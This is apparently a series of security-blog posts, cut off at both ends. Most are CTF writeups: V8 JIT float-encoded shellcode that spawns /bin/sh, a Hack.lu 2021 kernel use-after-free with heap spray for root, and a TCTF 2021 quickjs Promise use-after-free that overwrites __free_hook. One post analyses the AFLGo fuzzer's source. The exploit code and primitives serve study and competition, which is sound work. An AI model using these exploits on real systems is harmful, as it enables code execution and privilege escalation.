As we can see in the JIT code, the IEEE representations of 1.1, 2.2 and 3.3 are compiled to r-x page inside the V8 heap region. We can write shellcode using these numbers and connect them with a jmp instruction. Since jmp instruction consumes 2 bytes, we have 6 bytes for shellcode, which are definitely enough.

Therefore, we can set rip to the shellcode using the method mentioned in last subsection. The condition can be easily satisfied by putting a 1.0 at first element of array.

We generate the shellcode with following scripts, and convert the hex numbers into IEEE floating point numbers using this website:

from pwn import *

context(arch='amd64')
jmp = b'\xeb\x0c'
shell = u64(b'/bin/sh\x00')

def make_double(code):
	assert len(code) <= 6
	print(hex(u64(code.ljust(6, b'\x90') + jmp))[2:])

make_double(asm("push %d; pop rax" % (shell >> 0x20)))
make_double(asm("push %d; pop rdx" % (shell % 0x100000000)))
make_double(asm("shl rax, 0x20; xor esi, esi"))
make_double(asm("add rax, rdx; xor edx, edx; push rax"))
code = asm("mov rdi, rsp; push 59; pop rax; syscall")
assert len(code) <= 8
print(hex(u64(code.ljust(8, b'\x90')))[2:])

"""
Output:
ceb580068732f68
ceb5a6e69622f68
cebf63120e0c148
ceb50d231d00148
50f583b6ae78948
"""

The final function that can generate the shellcode is shown below:

const foo = ()=>
{
	return [1.0,
		1.95538254221075331056310651818E-246,
		1.95606125582421466942709801013E-246,
		1.99957147195425773436923756715E-246,
		1.95337673326740932133292175341E-246,
		2.63486047652296056448306022844E-284];
}

Another thing to note is that we must put the immediate numbers as elements of array, instead of using them in other ways like func(1.1, 2.2). The later one will generate JIT code that loads floating point numbers as HeapNumber, so that the immediate numbers cannot be compiled into r-x page.

Also, JIT compiling foo with loop can trigger garbage collection, so that we must compile it before triggering any vulnerability.

Arbitrary Read and Write within V8 Heap Region using TypedArray

Finally, we need to use the vulnerability to actually implement the idea mentioned above. We found that we can still use TypedArray to achieve arbitrary read and write within V8 heap region (e.i. 32-bit region starting with the base address). Therefore, we use array OOB write to rewrite field of Uint32Array to achieve this arbitrary read and write. We also use array OOB read to leak addresses of related function objects. The full exploit is here.

AFLGO Source Code Analysis: Graph Construction and Distance Calculation

Sat, 06 Nov 2021 00:00:00 +0000

0x00 Introduction

AFLGO is a modification of AFL that perform directed fuzzing, for more information, please read the paper. In this article, I will analyze source code of AFLGO that constructs call graph and control flow graphs of given program to be fuzzed and uses these graphs to calculate distance from each block to target locations. Most of these works are implemented in afl-llvm-pass.so.cc and distance_calculator/main.cpp. The analysis is based on commit 154cf6f84951ee5099732e267d1e7c79c233f278, in case if author might change the code in the future.

0x01 Two Stages of Compilation

When we are using AFLGO, unlike AFL by using which we only need to compile the target binary with afl-* compiler for once, we need to compile the target binary twice. The first compilation is in order to analyze the program to generate information (e.g. control flow graphs) needed for computing distances; the second compilation is the actual instrumentation that generates binary to be fuzzed.

This is clearly illustrated in function AFLCoverage::runOnModule at afl-llvm-pass.so.cc: if TargetsFile is set, then analysis step is performed; if DistanceFile is set, then instrumentation step is performed. For analysis step, we also need to set an OutDirectory to output results of analysis.

Generation of Information

When compiling for analysis, variable is_aflgo_preprocessing is set to true, and the execution goes into if (is_aflgo_preprocessing) branch. In this branch, all functions except ones in Blacklist is iterated; all blocks in these functions and all instructions in each of these blocks are also iterated just like what a llvm pass usually does, except instructions from external libraries starting with "/usr/". Part of source code is shown below.

for (auto &F : M) {

  bool has_BBs = false;
  std::string funcName = F.getName().str();

  /* Black list of function names */
  if (isBlacklisted(&F)) {
    continue;
  }

  bool is_target = false;
  for (auto &BB : F) {

    std::string bb_name("");
    std::string filename;
    unsigned line;

    for (auto &I : BB) {
      getDebugLoc(&I, filename, line);

      /* Don't worry about external libs */
      static const std::string Xlibs("/usr/");
      if (filename.empty() || line == 0 || !filename.compare(0, Xlibs.size(), Xlibs))
        continue;
      
      // ...

Firstly, each block will be associated with a block name, bb_name, which is assigned to be bb_name = filename + ":" + std::to_string(line), where filename and line are location associated with the first instruction that has DebugLoc of this block.

if (bb_name.empty()) {

  std::size_t found = filename.find_last_of("/\\");
  if (found != std::string::npos)
    filename = filename.substr(found + 1);

  bb_name = filename + ":" + std::to_string(line);
}

In addition, filename and line are compared against all target locations. If they match one of the target locations, is_target will be set to true. Such boolean variable is used to add all functions that contain target location to Ftargets.txt.

if (!is_target) {
    for (auto &target : targets) {
      std::size_t found = target.find_last_of("/\\");
      if (found != std::string::npos)
        target = target.substr(found + 1);

      std::size_t pos = target.find_last_of(":");
      std::string target_file = target.substr(0, pos);
      unsigned int target_line = atoi(target.substr(pos + 1).c_str());
      // parse the target location

      if (!target_file.compare(filename) && target_line == line)
        is_target = true;

    }
}

// If a function contains any target location, it will be recorded to Ftargets.txt 
if (is_target)
  ftargets << F.getName().str() << "\n";

It also extracts CalledFunction of CallInst, if any, and records a bb_name and function name pair into BBcalls.txt. This is used to map each basic block to all functions which it calls.

if (auto *c = dyn_cast<CallInst>(&I)) {

  std::size_t found = filename.find_last_of("/\\");
  if (found != std::string::npos)
    filename = filename.substr(found + 1);

  if (auto *CalledF = c->getCalledFunction()) {
    if (!isBlacklisted(CalledF))
      bbcalls << bb_name << "," << CalledF->getName().str() << "\n";
  }
}

During iteration, all basic block names and function names are also recorded into BBnames.txt and Fnames.txt respectively. (bbnames << BB.getName().str() << "\n"; and fnames << F.getName().str() << "\n";)

Control flow graph of each function is also recorded to cfg.[funcName].dot in dot-files directory using WriteGraph(cfgFile, &F, true) function in llvm.

std::string cfgFileName = dotfiles + "/cfg." + funcName + ".dot";
std::error_code EC;
raw_fd_ostream cfgFile(cfgFileName, EC, sys::fs::F_None);
if (!EC) {
  WriteGraph(cfgFile, &F, true);
}

Instrumentation

Using information collected above, for each basic block in binary, a distance to target locations will be calculated and stored in a file, which is passed via DistanceFile and used in instrumentation step. I will detail the way to calculate distances later.

The instrumentation step is comparatively simple. Compared to original AFL instrumentation, one more distance-related operation is added. As it iterates all basic blocks, it finds in the distance file whether current basic block has a distance value recorded. If so, the distance value is magnified by 100 and converted into integer, and used in instrumentation to be added to shm[MAPSIZE]. Also in instrumentation, shm[MAPSIZE + (4 or 8)] is incremented by one. In this way, when this basic block is executed in runtime, shm[MAPSIZE] will be added by its distance to target locations and shm[MAPSIZE + (4 or 8)] will be incremented by one.

if (distance >= 0) { // if a distance is found

  ConstantInt *Distance =
      ConstantInt::get(LargestType, (unsigned) distance);

  /* Add distance to shm[MAPSIZE] */

  Value *MapDistPtr = IRB.CreateBitCast(
      IRB.CreateGEP(MapPtr, MapDistLoc), LargestType->getPointerTo());
  LoadInst *MapDist = IRB.CreateLoad(MapDistPtr);
  MapDist->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));

  Value *IncrDist = IRB.CreateAdd(MapDist, Distance);
  IRB.CreateStore(IncrDist, MapDistPtr)
      ->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));

  /* Increase count at shm[MAPSIZE + (4 or 8)] */

  Value *MapCntPtr = IRB.CreateBitCast(
      IRB.CreateGEP(MapPtr, MapCntLoc), LargestType->getPointerTo());
  LoadInst *MapCnt = IRB.CreateLoad(MapCntPtr);
  MapCnt->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));

  Value *IncrCnt = IRB.CreateAdd(MapCnt, One);
  IRB.CreateStore(IncrCnt, MapCntPtr)
      ->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));

}

0x02 Calculating Distances

The distance generation is wrapped by a script gen_distance_fast.py. In this script, construct_callgraph function is called to first generate call graph from llvm .bc file. This is achieved by llvm built-in -dot-callgraph utility executed in function opt_callgraph. The result call graph for all binaries is finally stored at callgraph.dot.

Then calculating_distances function is called to execute distance_calculator/main.cpp for actual distance calculation.

Call Graph Distance

Firstly call graph distance is computed through executing main.cpp using function exec_distance_prog. callgraph.dot, Ftargets.txt and Fnames.txt are provided as input and callgraph.distance.txt is provided as output. These file paths are passed to main.cpp as arguments. In main.cpp, graph is processed using C++ boost library. I will not detail stuff about boost library here but core parts that calculate the distance, which starts at function cg_calculation.

This function accepts 2 arguments, first one is the boost graph representation that represents the call graph of the program, and second one is an array that stores all functions present in Ftargets.txt. What this function does is only map each target function name to actual nodes in type vertex_desc, and return these nodes.

std::vector<vertex_desc> cg_calculation(
    graph_t &G,
    std::ifstream &target_stream
) {
    cout << "Loading targets..\n";
    std::vector<vertex_desc> targets;
    for (std::string line; getline(target_stream, line); ) {
        bo::trim(line);
        for (auto t : find_nodes(G, line)) {
            targets.push_back(t);
        }
    }
    if (targets.empty()) {
        cout << "No targets available\n";
        exit(0);
    }
    return targets;
}

find_node is a function that maps vertex name to actual vertexes in the given graph.

std::vector<vertex_desc> ret;
bo::graph_traits<graph_t>::vertex_iterator vi, vi_end;
for (boost::tie(vi, vi_end) = vertices(G); vi != vi_end; ++vi) { // iterate all vertexes
    if(G[*vi].label.find(n_name) != std::string::npos) { 
        // if label of the vertex contains given name, push it to return array.
        // Note that n_name here is preprocessed with node_name,
        // so function name that is substring of another function name does not cause problem
        ret.push_back(*vi);
    }
}

Actually, I cannot come up with the case where 2 or more vertexes correspond to one name. (e.i. 2 or more functions in call graph have the same function name) However, for control flow graph later, this might be possible and will be covered later.

After cg_calculation, it iterates all vertexes represented by functions present in Fname.txt:

std::ifstream names = open_file(vm["names"].as<std::string>());
// ...
for (std::string line; getline(names, line); ) {
    bo::trim(line);
    distance(graph, line, targets, outstream, bb_distance);
}

Function distance is the actual function that calculates the distance. It firstly calculates distances using init_distances_from, which calculates shortest distances of all nodes from node n. Then call graph distances are calculated.

for (vertex_desc n : find_nodes(G, name)) {
    std::vector<int> distances(bo::num_vertices(G), 0);
    init_distances_from(G, n, distances);

    double d = 0.0;
    unsigned i = 0;
    if (is_cg) {
        for (vertex_desc t : targets) {
            auto shortest = distances[t];           // shortest distance from n to t
            if (shortest == 0 and n != t) continue; // only consider reachable targets
            d += 1.0 / (1.0 + static_cast<double>(shortest));
            ++i;
        }
    } else {
        // ...
    }
    double tmp = static_cast<double>(i) / d;
    if (d != 0 and (distance == -1 or distance > tmp)) {
        distance = tmp; // result is the minimum distance of all nodes
    }
}

According to code, formula for calculating the call graph distance for a node \(n\) (which represents a function) is:

\[\large min_{n}\frac{|T_n|}{\sum_{t \in T_n} \frac{1}{1+S_{n\rightarrow t}}}\]

\(min_n\) stands for we want to find the minimum value among all \(n\) returned from find_nodes, but I think in call graph case there should be at most one vertex being returned; \(T_n\) means set of all reachable targets from \(n\); \(S_{n\rightarrow t}\) means distances[t], which is the minimum distance from \(n\) to \(t\).

Basic Block Distance

After calculating call graph distances, the Python script then calls function calculate_cfg_distance_from_file for each cfg.*.dot file in dot-files, which represents control flow graph of each function. This function also calls main.cpp, but this time with cfg.*.dot, BBtargets.txt, BBnames.txt, callgraph.distance.txt(generated in last step) and BBcalls.txt as inputs, and name + ".distances.txt" as output. Note that this time the arguments passed are completely different from call graph case: call graph of program is replaced by control flow graph of each function; Ftargets.txt is replaced by BBtargets.txt; Fnames.txt is replaced by BBnames.txt.

Similarly, the distance calculation part starts with function cfg_calculation. Firstly, call graph distance file is converted into an std::unordered_map that maps function name to distance.

for (std::string line; getline(cg_distance_stream, line); ) {
    bo::trim(line);
    std::vector<std::string> splits;
    bo::algorithm::split(splits, line, bo::is_any_of(","));;
    assert(splits.size() == 2);
    cg_distance[splits[0]] = std::stod(splits[1]);
}

Also, for each basic block in control flow graph of current function, we collect all functions it calls using BBcalls.txt. Among these functions that have cg_distance, AFLGO get the minimum of these and set bb_distance to it.

for (std::string line; getline(cg_callsites_stream, line); ) {
    bo::trim(line);
    std::vector<std::string> splits;
    bo::algorithm::split(splits, line, bo::is_any_of(","));;
    assert(splits.size() == 2);
    if (not find_nodes(G, splits[0]).empty()) { 
    // only process basic blocks in current CFG
        if (cg_distance.find(splits[1]) != cg_distance.end()) {
        // only process called functions with `cg_distance`
            if (bb_distance.find(splits[0]) != bb_distance.end()) {
                if (bb_distance[splits[0]] > cg_distance[splits[1]]) {
                    bb_distance[splits[0]] = cg_distance[splits[1]];
                }
            } else {
                bb_distance[splits[0]] = cg_distance[splits[1]];
            }
            // get the minimum cg_distance of all functions called by a basic block
        }
    }
}

Finally, bb_distance of all target locations in current function is set to 0. However, I think this part is a bit problematic, because BBtargets.txt does not necessarily contain basic block name (e.i. It can be location of instruction other than first instruction of this basic block).

for (std::string line; getline(targets_stream, line); ) {
    bo::trim(line);
    std::vector<std::string> splits;
    bo::algorithm::split(splits, line, bo::is_any_of("/"));;
    size_t found = line.find_last_of('/');
    if (found != std::string::npos)
        line = line.substr(found+1);
    if (not find_nodes(G, splits[0]).empty()) {
        bb_distance[line] = 0.0;
        cout << "Added target BB " << line << "!\n";
    }
}

Then similar to call graph one, distance function is used to actually calculate the distance for each line in names. Note that here variable names is file BBnames.txt instead of Fnames.txt, which contains names of all basic blocks in the program. Firstly, if the basic block can be found in bb_distance, then the distance is simply 10 times its basic block distance.

if (not is_cg and bb_distance.find(name) != bb_distance.end()) {
    out << name << "," << bo::lexical_cast<std::string>(10 * bb_distance[name]) << "\n";
    return;
}

The other parts are same as the call graph distance calculation, except the else branch that is omitted last section. Another thing to note is that as mentioned before, it is possible for one basic block name to be mapped to multiple vertexes (e.i. find_nodes returns 2 or more elements). This can be caused by location in inline function.

for (auto &bb_d_entry : bb_distance) { // iterate each basic block name with bb_distance
    double di = 0.0;
    unsigned ii = 0;
    for (auto t : find_nodes(G, bb_d_entry.first)) { // iterate each basic block with this name
        auto shortest = distances[t];           // shortest distance from n to t
        if (shortest == 0 and n != t) continue; // not reachable
        di += 1.0 / (1.0 + 10 * bb_d_entry.second + static_cast<double>(shortest));
        ++ii;
    }
    if (ii != 0) {
        d += di / static_cast<double>(ii);
        ++i;
    }
}

The for loop iterate each basic block name with bb_distance (we will call them target basic blocks in following). Note that bb_d_entry.first that is not in current processing function is simply skipped, so only target basic blocks in current function is processed. Also, if all vertexes of a target basic block name in current function is not reachable by \(n\), it will also be discarded.

For a target basic block name \(T\), its distance \(D_{n\rightarrow T}\) can be calculated as follows:

\[\large D_{n \rightarrow T} = \frac{\sum_{t \in V_n(T)} \frac{1}{1 + 10 D_{bb}(t) + S_{n \rightarrow t}}}{|V_n(T)|}\]

\(V_n(T)\) means all basic block vertexes associated with basic block name \(T\) that is reachable from starting node \(n\); \(D_{bb}(t)\) means bb_distance of basic block vertex \(t\); \(S_{n \rightarrow t}\) means the shortest distance from vertex \(n\) to vertex \(t\) in the control flow graph.

The final target distance of basic block \(n\) is calculated as follows:

\[\large min_n \frac{|S_T|}{\sum_{T\in S_T} D_{n \rightarrow T}}\]

\(min_n\) means we want the minimum distance among all vertexes returned from find_node (e.i. all vertexes with given basic block name); \(S_T\) is the set of all names of target basic blocks reachable by \(n\) in current processing function.

0x03 Others

As we can see, the actual implementation is a bit different from the one mentioned in paper, and this is the reason why I decides to investigate its source code.

Hack.lu 2021 Stonks Socket

Sun, 31 Oct 2021 00:00:00 +0000

Last weekend we played Hack.lu CTF and got 5th place. I am quite busy recently so I only solved one challenge: Stonks Socket, and I think it is quite interesting and worthy to do a writeup.

0x00 Overview

In this challenge we need to exploit Linux kernel. In the kernel module, tcp_prot.ioctl of TCP socket is written to self-defined function stonks_ioctl, and sk_prot->recvmsg of TCP socket is written to self-defined function stonks_rocket inside one of the handlers in stonks_ioctl. The vulnerability is a use-after-free caused by race condition: sk_user_data field of struct sock is fetched before blocking in stonks_rocket and can be freed while blocking, and one of its function pointer field will be called after blocking. Therefore, we perform heap spray to control its function pointer field so to control rip in kernel mode. Since SMEP is not enabled, we can execute shellcode in user-space memory to call commit_cred(prepare_kernel_cred(0)) and get root privilege.

0x01 Vulnerabilities

There are actually 3 vulnerabilities in this challenge, but I found other 2 not useful for exploitation:

The first vulnerability is the one I mentioned in overview section. Inside stonks_rocket, struct StonksSocket *s_sk = sk->sk_user_data; is executed to fetch user data of skin first few lines, and the function can be blocked by tcp_recvmsg. However, while blocking, we can actually free sk->sk_user_data through OPTION_PUT command in stonks_ioctl using another thread. Therefore, after resuming from tcp_recvmsg, s_sk is already a freed dangling pointer but s_sk->hash_function will be called. Thus, this is an UAF bug.
The second vulnerability is an out-of-bound read in command OPTION_DEBUG, which allows us to leak arbitrary kernel data. However, it seems that we don’t need such data leakage.
The third vulnerability is a stack overflow in secure_hash. Since h->length is controllable and not limited, (&h->word1)[i] = h->key; in loop body would cause out-of-bound write. However, since we can only write one 64-bit value and cannot skip over the stack canary, this vulnerability is not quite useful either.

0x02 Exploitation

Trigger Kernel Module Functions

To trigger stonks_ioctl, we just need to call ioctl using connfd returned by accept function; after calling ioctl(connfd, OPTION_CALL, &a) we can trigger stonks_rocket via recv function using connfd.

Trigger UAF

As briefly mentioned above, we need to firstly call OPTION_CALL command of ioctl on connfd.

arg_t a = {4, 0, 0x13371337, 0};
printf("%d\n", ioctl(connfd, OPTION_CALL, &a));

Then we create a thread, immediately followed by a recv function called on connfd that fetches sk->sk_user_data and blocks the main thread.

pthread_create(&thread, NULL, client_write, &args);
// ...
recv(connfd, buf, sizeof(buf), 0);

Inside thread function, sleep(1) is called to ensure recv function in main thread is blocked first. Then ioctl(connfd, OPTION_PUT, NULL) is called to free sk->sk_user_data, and some data is sent to server via client file descriptor to resume recv function blocked in main thread.

write(args->clientfd, "20192019", 8);

Heap Spray

This is actually the part that got me stuck for longest time. I firstly considered to use universal heap spraying, but userfaultfd is not available due to kernel configuration. Then we tried to find a 32-byte kernel object allocated on heap that can allow user to control the last 8 bytes (e.i. function pointer field), and we indeed found this. However, it seems that corresponding protocol is not supported in this kernel build.

Finally, I still decided to use kmalloc called in function secure_hash shown below.

//load data
while (i) {
    size = h->length * sizeof(u64);
    buf = kmalloc(size, GFP_KERNEL);
    i = copy_from_iter(buf, size, msg); // copy data sent from client to buf
    for (j = 0; j < i; j++) {
        hash[j] ^= buf[j];
    }
    kfree(buf);
}

When h->length is 4, 32-byte chunk will be allocated and filled with user-controlled data, which is exactly pointed by sk->sk_user_data; and even if the chunk is freed, last 8 bytes will still remain to be our own data. Although this seems to be great, when while loop breaks, the buffer is filled with all zeros. After some debugging, I realized that kmalloc here would clear the memory chunk allocated to zeros. The loop exit condition is i == 0, so this means copy_from_iter should return 0 for the last time loop body is executed. copy_from_iter always returns the number of bytes that is copied to the destination buffer. Combining these two, this means in the last run of the while loop, the buffer will be filled with zeros and no input is read into the buffer, so s_sk->hash_function is also NULL.

Therefore, we need to let main thread call sk->sk_user_data->hash_function at the same time when secure_hash is still executing that while loop. This can be done by creating a new thread to run secure_hash function. Initially I was spending a lot of time in trying to let copy_from_iter block by using the stack overflow (e.i. third bug mentioned above) to tamper struct iov_iter. However, this does not work because if we need to trigger the stack overflow, h->length is no longer 4 so that size allocated is not 32 bytes, which means we cannot allocate to chunk pointed by sk->sk_user_data.

The final approach is to let the while loop run many times by sending a large chunk of data, and hope when executing the while loop, the function pointer field is called. It turns out the probability of success is not low if parameter is tuned properly. The important thread functions are shown below.

void* spray_32(void* fds_)
{
	intptr_t fds = (intptr_t)fds_;
	int connfd2 = (int)fds;
	int connfd = fds >> 32;
	printf("free %d\n", ioctl(connfd, OPTION_PUT, NULL));
	// we free chunk here after thread creation,
	// because thread creation will consume 32-byte chunk
	while (1)
	{ // `recv` large data to let this thread enter the while loop at secure_hash
		recv(connfd2, a, sizeof(a), 0);
	}
	return NULL;
}

void * client_write(void * args_)
{
	struct th_arg* args = (struct th_arg*)args_;
	sleep(1);

	pthread_t thread2;
	pthread_create(&thread2, NULL, spray_32, \
		(void*)(intptr_t)(args->connfd2 + ((int64_t)args->connfd << 32)));

	// stop this thread for a while before resuming main thread,
	// otherwise main thread will call function pointer field too soon,
	// before while loop at secure_hash is entered in another thread,
	// loop bound is tuned to be 50 so that success rate is quite high
	for (int i = 0; i < 50; ++i)
	{
		sched_yield();
		usleep(1);
	}
	write(args->clientfd, "20192019", 8);
	puts("client_write exits");
	return NULL;
}

The large chunk of data is sent before via send(*clientfd, a, sizeof(a), 0), where a is initialized to be pointers to our get_root function, which obtains kernel address stored on stack and calls commit_cred(prepare_kernel_cred(0)).

for (size_t i = 0; i < sizeof(a) / sizeof(uintptr_t); i++)
{
	a[i] = (uintptr_t)get_root;
}

One interesting point to note is that rip hijacked is sometimes shift of &get_root (e.g. &get_root << 8). Possible reason is that recv does not necessarily stops at alignment of 8, so that future alignment might be broken.

The full exploit is here.

TCTF 2021 Promise

Mon, 27 Sep 2021 00:00:00 +0000

Last weekend we have participated TCTF 2021 Final and got 2nd place! Congratulation! I solved 3 challenges: Secure JIT 2, Promise and krop. Among these, I think Promise is quite worthy to do a full writeup.

0x00 Overview

In this challenge, we need to exploit quickjs engine, which is a lightweight JavaScript engine, and this is actually my first time to exploit this engine. The vulnerability we need to exploit is that when variable is copied to promise result, the reference counter is not incremented, so that use-after-free problem can be triggered. We trigger such UAF using ArrayBuffer instance so that we can manipulate baking storage of ArrayBuffer after it is freed. We utilize this to leak libc address and to rewrite backing store pointer of another TypedArray to achieve arbitrary write that rewrites __free_hook to system to get the shell.

0x01 Prerequisite

Before entering into the challenge, I may need to introduce some basic knowledges about quickjs that are required to solve this challenge.

Variable Representation

In JavaScript we have many types of variables, such as integer, object, array and built-in object(e.i. ArrayBuffer). The JavaScript engine needs to represent these variables in some way. In quickjs, every variable is represented as a JSValue:

// quickjs.h
typedef union JSValueUnion {
    int32_t int32;
    double float64;
    void *ptr;
} JSValueUnion;

typedef struct JSValue {
    JSValueUnion u; 
    // union that stores *content* of this variable
    int64_t tag; 
    // tag is used to tell how to interpret `u`, 
    // which stores information about *type* of this variable
} JSValue;

#define JSValueConst JSValue

The tag can be one of the following values, some parts of the enum are omitted for simplicity:

// quickjs.h
enum {
    /* all tags with a reference count are negative */
    // omited for simplicity....
    JS_TAG_OBJECT      = -1,

    JS_TAG_INT         = 0,
    JS_TAG_BOOL        = 1,
    JS_TAG_NULL        = 2,
    JS_TAG_UNDEFINED   = 3,
	// omited for simplicity....
    /* any larger tag is FLOAT64 if JS_NAN_BOXING */
};

What we need to know is that the sign here is used to tell whether this variable has a reference count: all tags with a reference count are negative. In other word, negative tag means that this variable is managed by heap and positive tag means that it is not managed by heap.

When tag is JS_TAG_OBJECT, ptr field of JSValueUnion is used, and this ptr points to a JSObject structure, which is defined in quickjs.c. All objects in quickjs, including built-in objects like ArrayBuffer, are represented in this way. The first 32 bits of JSObject are always reference count.

Debug

To build the debug version of binary, we can modify BUILDTYPE?=Release to BUILDTYPE?=Debug in Makefile and build according to this.

To look at how specific variable is stored in memory, we have a simple approach: set a breakpoint at function js_math_min_max or quickjs.c:41563, and call Math.min(v) to trigger the breakpoint, because js_math_min_max is the handler for Math.min. Then by inspecting memory layout of JSValueConst *argv or register r8, we can inspect memory representation of variable v.

Garbage Collection

As we see, the garbage collection of quickjs is managed by reference counting, and the object instance will be freed if the reference counting becomes zero. Here is an example illustrating this:

let o = [0x1337];
Math.min(o); // `x/wx argv->u.ptr`: ref_count == 2
// and we can also set breakpoint:
// `tb free if $rdi==[address shown above]`
// to see when this chunk will be freed
let v = o;
Math.min(o); // ref_count == 3
o = undefined;
Math.min(v); // ref_count == 2
v = undefined;
// breakpoint on free is triggered here
// before "Finish" is printed
console.log("Finish");

One thing that I don’t quite understand is that when we look at ref_count using Math.min approach, it is always one more than the current number of JavaScript variables that point to the object. I would guess there is also an internal reference that contributes to such one more reference count. This problem actually got me stuck for quite long time. Nonetheless, the object will still be freed when number of variables referencing to it decreases to zero, so we can just deem the actual reference count as ref_count - 1.

0x02 Vulnerability

The diff is applied to commit 0a533445f256fb3a628371e24705d3a2532f60f1.

diff --git a/deps/quickjs/src/quickjs.c b/deps/quickjs/src/quickjs.c
index a39ff8f..c0a42b2 100644
--- a/deps/quickjs/src/quickjs.c
+++ b/deps/quickjs/src/quickjs.c
@@ -46175,7 +46175,7 @@ static void fulfill_or_reject_promise(JSContext *ctx, JSValueConst promise,
 
     if (!s || s->promise_state != JS_PROMISE_PENDING)
         return; /* should never happen */
-    set_value(ctx, &s->promise_result, JS_DupValue(ctx, value));
+    set_value(ctx, &s->promise_result, value);
     s->promise_state = JS_PROMISE_FULFILLED + is_reject;
 #ifdef DUMP_PROMISE
     printf("fulfill_or_reject_promise: is_reject=%d\n", is_reject);

As we can see, JS_DupValue is just to increment ref_count when the variable has reference count (e.i. tag is negative):

static inline JSValue JS_DupValue(JSContext *ctx, JSValueConst v)
{
    if (JS_VALUE_HAS_REF_COUNT(v)) {
        JSRefCountHeader *p = (JSRefCountHeader *)JS_VALUE_GET_PTR(v);
        p->ref_count++;
    }
    return (JSValue)v;
}

Therefore, ref_count that should have been incremented is not incremented when the value is copied to promise result, so the object will be freed when there is still one variable referencing to it, leading to UAF vulnerability.

JavaScript Promise

For more information about Promise in JavaScript, you can read this. One thing to note is that handler of Promise is executed after main code execution finishes, but they can still share all global variables.

0x03 Exploitation

Triggering UAF

It is quite easy to trigger the vulnerability: we just need to pass an object to promise result.

function f(a)
{
  Math.min(a)
  console.log("Resolve2");
}

let arr = new ArrayBuffer(0x500);
function main()
{
  let p = new Promise((resolve, reject) =>
  {
    console.log("Promise Init");
    resolve(arr); // pass `arr` as promise result
  });
  p.then(f); // set callback handler
}

main();
console.log("Finish Main");

The execution result is shown below, although the assertion failure is not necessarily triggered all the time:

Promise Init
Finish Main
Resolve2
tjs: txiki.js/deps/quickjs/src/quickjs.c:5660: gc_decref_child: Assertion `p->ref_count > 0' failed.
Aborted (core dumped)

If we inspect reference counter at Math.min(a), we find that ref_count is 3. This is quite weird, because we expect a does not contribute to any reference count due to the bug, and there is only arr referencing to the object so the ref_count should be 2. I would guess there might be some internal reference inside Promise mechanism that is causing such one more ref_count.

What we want is actually 2 variables referencing to the same object but ref_count is one less than it should be (e.i. ref_count == 2). Therefore, setting one of them to undefined can cause the other variable to be UAF. However, the situation described above cannot satisfy this requirement. This actually got me stuck for quite long time.

Considering possible internal reference inside Promise mechanism mentioned above, I was thinking if such internal reference would disappear once this promise handler finishes. The idea is to copy the arr variable into another global variable arr2, and to start another promise handler but this time we pass a variable without reference count, so the bug would not be triggered. Inside this new handler, if we look at ref_count of arr, it becomes 2; and if we set arr to undefined, another global variable arr2 will become UAF!

function f2()
{
  console.log("Resolve3");
  Math.min(arr2); // ref_count == 2
  arr = undefined;
  Math.min(arr2); // UAF can be triggered
}

let arr2;
function f(a)
{
  console.log("Resolve2");
  arr2 = arr;
  // increment number of variables referecing to it
  let p = new Promise((resolve, reject) =>
  {
    console.log("Promise2 Init");
    resolve(0);
  });
  p.then(f2);
}

// main function is same as above, thus omitted...

Exploiting UAF

As we have already shown in the code above, we use ArrayBuffer with large size (so that its backing store does not fit into tcache bins) as the object to trigger UAF. The primary idea is using TypedArray. Instead of storing one reference to ArrayBuffer directly using global variable, we store it inside a TypedArray global variable. Therefore, after the ArrayBuffer is freed, we can still access the freed backing store of ArrayBuffer using TypedArray; this enables us to leak and rewrites the pointers.

However, this sometimes causes a problem: when we access the freed ArrayBuffer backing store using TypedArray, TypedArray will check whether the ArrayBuffer is detached, and this causes a crash because original JSObject of ArrayBuffer is already freed. The idea is to allocate some ArrayBuffer again to fill that freed JSObject of ArrayBuffer so that we can pass this check.

Finally, we need to look at the freed backing store memory inside gdb to see what we can read and write. How do we find the backing store pointer of freed ArrayBuffer using TypedArray? You can do this by reading source code but I would say the easiest approach is to set first few bytes of the buffer to some magic number like 0x13371337, and use tel in gdb to find the which pointer is pointing to such magic bytes. It turns out that this works very well.

By inspecting freed backing store memory in gdb, we find that we can leak libc address. This is great! As for the arbitrary write primitive, we can also allocate some new TypedArrays whose backing store pointers can be stored in the freed backing store memory, so that we can also rewrite this pointer to achieve arbitrary write. Using this we can rewrites __free_hook to system to get the shell. Part of the exploit is shown below:

const abs = [];
a1 = undefined;
for (let i = 0; i < 8; i++)
{
  abs.push(new ArrayBuffer(8)); 
  // allocate some new `ArrayBuffer` to
  // prevent crash when checking detechment 
}
const tas = [];
for (let i = 0; i < 8; i++)
{
  const ta = new Uint32Array(abs[i]);
  // we also use these `ArrayBuffer` to create `TypedArray`
  ta[0] = 1852400175;
  ta[1] = 6845231; 
  // set first 8 bytes to "/bin/sh"
  tas.push(ta);
}
const libc_addr = a0[0x170/4] + a0[0x170/4+1] * 0x100000000 - 0x3ebca0
console.log(hex(libc_addr));
// leak libc address

a0[0x1d8/4] = (libc_addr + 0x3ed8e8) % 0x100000000;
a0[0x1d8/4 + 1] = ((libc_addr + 0x3ed8e8) - a0[0x1d8/4]) / 0x100000000;
// set backing store of `TypedArray` to `__free_hook`

tas[0][0] = (libc_addr + 0x4f550) % 0x100000000;
tas[0][1] = ((libc_addr + 0x4f550) - tas[0][0]) / 0x100000000;
// __free_hook = system

An interesting point to note is that even comment can change heap layout of the freed backing store of ArrayBuffer, so this is the reason why I choose to put comment in writeup instead of in original exploit, which is here.

0x04 Conclusion

This is quite an interesting and hard challenge, we got 2nd blood and there are 3 solves eventually, and I have learned a lot about quickjs in this challenge. Thanks for the author for making this challenge.

Google CTF 2021 eBPF

Mon, 19 Jul 2021 00:00:00 +0000

Last weekend we played Google CTF and I have solved 2 challenges: first 2 parts of fullchain and eBPF. The fullchain challenge is actually very easy: v8 bug and mojo bug are just basic OOB access bugs. However, eBPF is quite interesting for me, since it is my first time to learn and exploit eBPF module in Linux kernel, so it is worthy to do a write-up for it.

0x00 Overview

In this challenge, instead of a .ko kernel module like normal kernel exploit challenge, we are provided only with a patched Linux kernel. In the patch, verifier.c of eBPF is modified so that xor operation to pointer to map value can be allowed. The problem is when applying xor to a pointer 2 times using different value, we can actually manipulate the pointer to arbitrary address, so that we can have arbitrary read and write primitive. Then we can use this to leak kernel address by spraying and reading tty_struct, and to rewrite modprobe_path to get root privilege.

0x01 Introduction to eBPF

